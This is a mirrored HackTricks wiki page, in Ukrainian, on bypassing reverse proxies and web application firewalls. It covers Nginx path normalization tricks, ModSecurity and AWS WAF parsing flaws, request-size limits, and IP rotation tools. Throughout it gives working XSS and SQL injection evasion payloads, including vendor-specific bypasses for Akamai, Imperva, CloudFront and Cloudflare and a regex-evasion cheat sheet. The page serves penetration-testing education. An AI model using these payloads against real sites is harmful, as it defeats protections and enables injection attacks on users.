mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
233 lines
20 KiB
Markdown
233 lines
20 KiB
Markdown
# Proxy / WAF Protections Bypass
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
|
||
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||
|
||
Техніки [з цього дослідження](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||
|
||
Приклад правила Nginx:
|
||
```plaintext
|
||
location = /admin {
|
||
deny all;
|
||
}
|
||
|
||
location = /admin/ {
|
||
deny all;
|
||
}
|
||
```
|
||
Щоб запобігти обходам, Nginx виконує нормалізацію шляху перед перевіркою. Однак, якщо сервер на стороні бекенду виконує іншу нормалізацію (видаляючи символи, які Nginx не видаляє), може бути можливим обійти цю захист.
|
||
|
||
### **NodeJS - Express**
|
||
|
||
| Nginx Version | **Node.js Bypass Characters** |
|
||
| ------------- | ----------------------------- |
|
||
| 1.22.0 | `\xA0` |
|
||
| 1.21.6 | `\xA0` |
|
||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||
|
||
### **Flask**
|
||
|
||
| Nginx Version | **Flask Bypass Characters** |
|
||
| ------------- | -------------------------------------------------------------- |
|
||
| 1.22.0 | `\x85`, `\xA0` |
|
||
| 1.21.6 | `\x85`, `\xA0` |
|
||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||
|
||
### **Spring Boot**
|
||
|
||
| Nginx Version | **Spring Boot Bypass Characters** |
|
||
| ------------- | --------------------------------- |
|
||
| 1.22.0 | `;` |
|
||
| 1.21.6 | `;` |
|
||
| 1.20.2 | `\x09`, `;` |
|
||
| 1.18.0 | `\x09`, `;` |
|
||
| 1.16.1 | `\x09`, `;` |
|
||
|
||
### **PHP-FPM**
|
||
|
||
Конфігурація Nginx FPM:
|
||
```plaintext
|
||
location = /admin.php {
|
||
deny all;
|
||
}
|
||
|
||
location ~ \.php$ {
|
||
include snippets/fastcgi-php.conf;
|
||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||
}
|
||
```
|
||
Nginx налаштовано на блокування доступу до `/admin.php`, але це можна обійти, отримавши доступ до `/admin.php/index.php`.
|
||
|
||
### Як запобігти
|
||
```plaintext
|
||
location ~* ^/admin {
|
||
deny all;
|
||
}
|
||
```
|
||
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||
|
||
### Path Confusion
|
||
|
||
[**У цьому пості**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) пояснюється, що ModSecurity v3 (до 3.0.12) **неправильно реалізував змінну `REQUEST_FILENAME`**, яка повинна була містити доступний шлях (до початку параметрів). Це сталося через те, що він виконував декодування URL, щоб отримати шлях.\
|
||
Отже, запит на кшталт `http://example.com/foo%3f';alert(1);foo=` в mod security буде вважати, що шлях - це лише `/foo`, оскільки `%3f` перетворюється на `?`, закінчуючи URL шлях, але насправді шлях, який отримає сервер, буде `/foo%3f';alert(1);foo=`.
|
||
|
||
Змінні `REQUEST_BASENAME` та `PATH_INFO` також були під впливом цього багу.
|
||
|
||
Щось подібне сталося в версії 2 Mod Security, що дозволило обійти захист, який заважав користувачам отримувати доступ до файлів з певними розширеннями, пов'язаними з резервними копіями (такими як `.bak`), просто надіславши крапку, закодовану в URL як `%2e`, наприклад: `https://example.com/backup%2ebak`.
|
||
|
||
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||
|
||
### Malformed Header
|
||
|
||
[Це дослідження](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) згадує, що було можливим обійти правила AWS WAF, застосовані до HTTP заголовків, надіславши "неправильний" заголовок, який не був правильно оброблений AWS, але був оброблений сервером на задньому плані.
|
||
|
||
Наприклад, надіславши наступний запит з SQL-ін'єкцією в заголовку X-Query:
|
||
```http
|
||
GET / HTTP/1.1\r\n
|
||
Host: target.com\r\n
|
||
X-Query: Value\r\n
|
||
\t' or '1'='1' -- \r\n
|
||
Connection: close\r\n
|
||
\r\n
|
||
```
|
||
Було можливим обійти AWS WAF, оскільки він не розумів, що наступний рядок є частиною значення заголовка, тоді як сервер NODEJS це розумів (це було виправлено).
|
||
|
||
## Загальні обходи WAF
|
||
|
||
### Обмеження розміру запиту
|
||
|
||
Зазвичай WAF мають певний обмеження на довжину запитів для перевірки, і якщо запит POST/PUT/PATCH перевищує його, WAF не перевірятиме запит.
|
||
|
||
- Для AWS WAF ви можете [**перевірити документацію**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||
|
||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Максимальний розмір тіла веб-запиту, який може бути перевірений для захисту Application Load Balancer та AWS AppSync</td><td>8 KB</td></tr><tr><td>Максимальний розмір тіла веб-запиту, який може бути перевірений для захисту CloudFront, API Gateway, Amazon Cognito, App Runner та Verified Access**</td><td>64 KB</td></tr></tbody></table>
|
||
|
||
- З [**документації Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||
|
||
Старі веб-брандмауери з Core Rule Set 3.1 (або нижче) дозволяють повідомлення, що перевищують **128 KB**, вимкнувши перевірку тіла запиту, але ці повідомлення не будуть перевірені на вразливості. Для новіших версій (Core Rule Set 3.2 або новіше) те ж саме можна зробити, вимкнувши максимальне обмеження на розмір тіла запиту. Коли запит перевищує обмеження розміру:
|
||
|
||
Якщо **режим запобігання**: Логування та блокування запиту.\
|
||
Якщо **режим виявлення**: Перевіряє до межі, ігнорує решту та веде журнал, якщо `Content-Length` перевищує межу.
|
||
|
||
- З [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
||
|
||
За замовчуванням WAF перевіряє лише перші 8KB запиту. Він може збільшити межу до 128KB, додавши розширену метадані.
|
||
|
||
- З [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||
|
||
До 128KB.
|
||
|
||
### Прогалини в перевірці статичних активів (.js GETs)
|
||
|
||
Деякі стеки CDN/WAF застосовують слабку або жодну перевірку вмісту для GET-запитів на статичні активи (наприклад, шляхи, що закінчуються на `.js`), при цьому все ще застосовуючи глобальні правила, такі як обмеження швидкості та репутація IP. У поєднанні з автоматичним кешуванням статичних розширень це може бути зловживано для доставки або посіву шкідливих варіантів, які впливають на наступні HTML-відповіді.
|
||
|
||
Практичні випадки використання:
|
||
|
||
- Надсилати корисні навантаження в ненадійних заголовках (наприклад, `User-Agent`) на GET до шляху `.js`, щоб уникнути перевірки вмісту, а потім негайно запитати основний HTML, щоб вплинути на кешований варіант.
|
||
- Використовувати нову/чисту IP; як тільки IP буде позначено, зміни маршрутизації можуть зробити техніку ненадійною.
|
||
- У Burp Repeater використовуйте "Send group in parallel" (стиль одного пакета), щоб змагатися з двома запитами (`.js`, а потім HTML) через той самий фронтальний шлях.
|
||
|
||
Це добре поєднується з отруєнням кешу відображення заголовків. Дивіться:
|
||
|
||
- {{#ref}}
|
||
cache-deception/README.md
|
||
{{#endref}}
|
||
- [Як я знайшов 0-Click Account takeover у публічному BBP і використав це для доступу до функцій на рівні адміністратора](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||
|
||
### Обфускація <a href="#ip-rotation" id="ip-rotation"></a>
|
||
```bash
|
||
# IIS, ASP Clasic
|
||
<%s%cr%u0131pt> == <script>
|
||
|
||
# Path blacklist bypass - Tomcat
|
||
/path1/path2/ == ;/path1;foo/path2;bar/;
|
||
```
|
||
### Unicode Совместимість <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||
|
||
В залежності від реалізації нормалізації Unicode (більше інформації [тут](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), символи, які мають сумісність Unicode, можуть обійти WAF і виконатися як заплановане навантаження. Сумісні символи можна знайти [тут](https://www.compart.com/en/unicode).
|
||
|
||
#### Приклад <a href="#example" id="example"></a>
|
||
```bash
|
||
# under the NFKD normalization algorithm, the characters on the left translate
|
||
# to the XSS payload on the right
|
||
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
|
||
```
|
||
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
|
||
|
||
Як згадувалося в [**цьому блозі**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), для обходу WAF, які здатні підтримувати контекст введення користувача, ми можемо зловживати техніками WAF, щоб фактично нормалізувати введення користувачів.
|
||
|
||
Наприклад, у пості згадується, що **Akamai декодував введення користувача 10 разів**. Тому щось на кшталт `<input/%2525252525252525253e/onfocus` буде сприйнято Akamai як `<input/>/onfocus`, що **може бути вважатися допустимим, оскільки тег закритий**. Однак, поки додаток не декодує введення 10 разів, жертва побачить щось на кшталт `<input/%25252525252525253e/onfocus`, що **все ще є дійсним для атаки XSS**.
|
||
|
||
Отже, це дозволяє **сховати корисні навантаження в закодованих компонентах**, які WAF декодує та інтерпретує, в той час як жертва цього не побачить.
|
||
|
||
Більше того, це можна зробити не тільки з URL закодованими корисними навантаженнями, але й з іншими кодуваннями, такими як unicode, hex, octal...
|
||
|
||
У пості пропонуються наступні фінальні обходи:
|
||
|
||
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
|
||
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
|
||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||
|
||
Також згадується, що в залежності від **того, як деякі WAF розуміють контекст** введення користувача, може бути можливим зловживати цим. Пропонований приклад у блозі полягає в тому, що Akamai дозволяє вставляти що завгодно між `/*` і `*/` (можливо, тому що це зазвичай використовується як коментарі). Тому SQL-ін'єкція, така як `/*'or sleep(5)-- -*/`, не буде виявлена і буде дійсною, оскільки `/*` є початковим рядком ін'єкції, а `*/` закоментовано.
|
||
|
||
Ці види проблем з контекстом також можуть бути використані для **зловживання іншими вразливостями, ніж ті, які очікуються для експлуатації WAF** (наприклад, це також може бути використано для експлуатації XSS).
|
||
|
||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||
|
||
{{#ref}}
|
||
h2c-smuggling.md
|
||
{{#endref}}
|
||
|
||
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
||
|
||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Генерація URL API шлюзу для використання з ffuf
|
||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Схоже на fireprox
|
||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Плагін Burp Suite, який використовує IP-адреси API шлюзу
|
||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Динамічно визначена кількість контейнерних екземплярів активується на основі розміру вхідного файлу та фактора розподілу, при цьому вхідний файл розбивається на частини для паралельного виконання, наприклад, 100 екземплярів обробляють 100 частин з вхідного файлу на 10,000 рядків з фактором розподілу 100 рядків.
|
||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||
|
||
### Regex Bypasses
|
||
|
||
Різні техніки можуть бути використані для обходу regex фільтрів на брандмауерах. Приклади включають чергування регістру, додавання переносів рядків та кодування корисних навантажень. Ресурси для різних обходів можна знайти на [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) та [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Приклади нижче були взяті з [цього артикулу](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||
```bash
|
||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||
<script>alert(XSS) // #removing the closing tag
|
||
<script>alert`XSS`</script> #using backticks instead of parenetheses
|
||
java%0ascript:alert(1) #using encoded newline characters
|
||
<iframe src=http://malicous.com < #double open angle brackets
|
||
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
|
||
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
|
||
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
|
||
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
|
||
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
|
||
<iframe src="javascript:alert(`xss`)"> #unicode encoding
|
||
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
|
||
new Function`alt\`6\``; #using backticks instead of parentheses
|
||
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
|
||
%26%2397;lert(1) #using HTML encoding
|
||
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
|
||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
|
||
```
|
||
## Інструменти
|
||
|
||
- [**nowafpls**](https://github.com/assetnote/nowafpls): плагін Burp для додавання непотрібних даних до запитів для обходу WAF за довжиною
|
||
|
||
## Посилання
|
||
|
||
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
|
||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||
- [Як я знайшов 0-Click захоплення облікового запису в публічному BBP і використав це для доступу до функцій рівня адміністратора](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|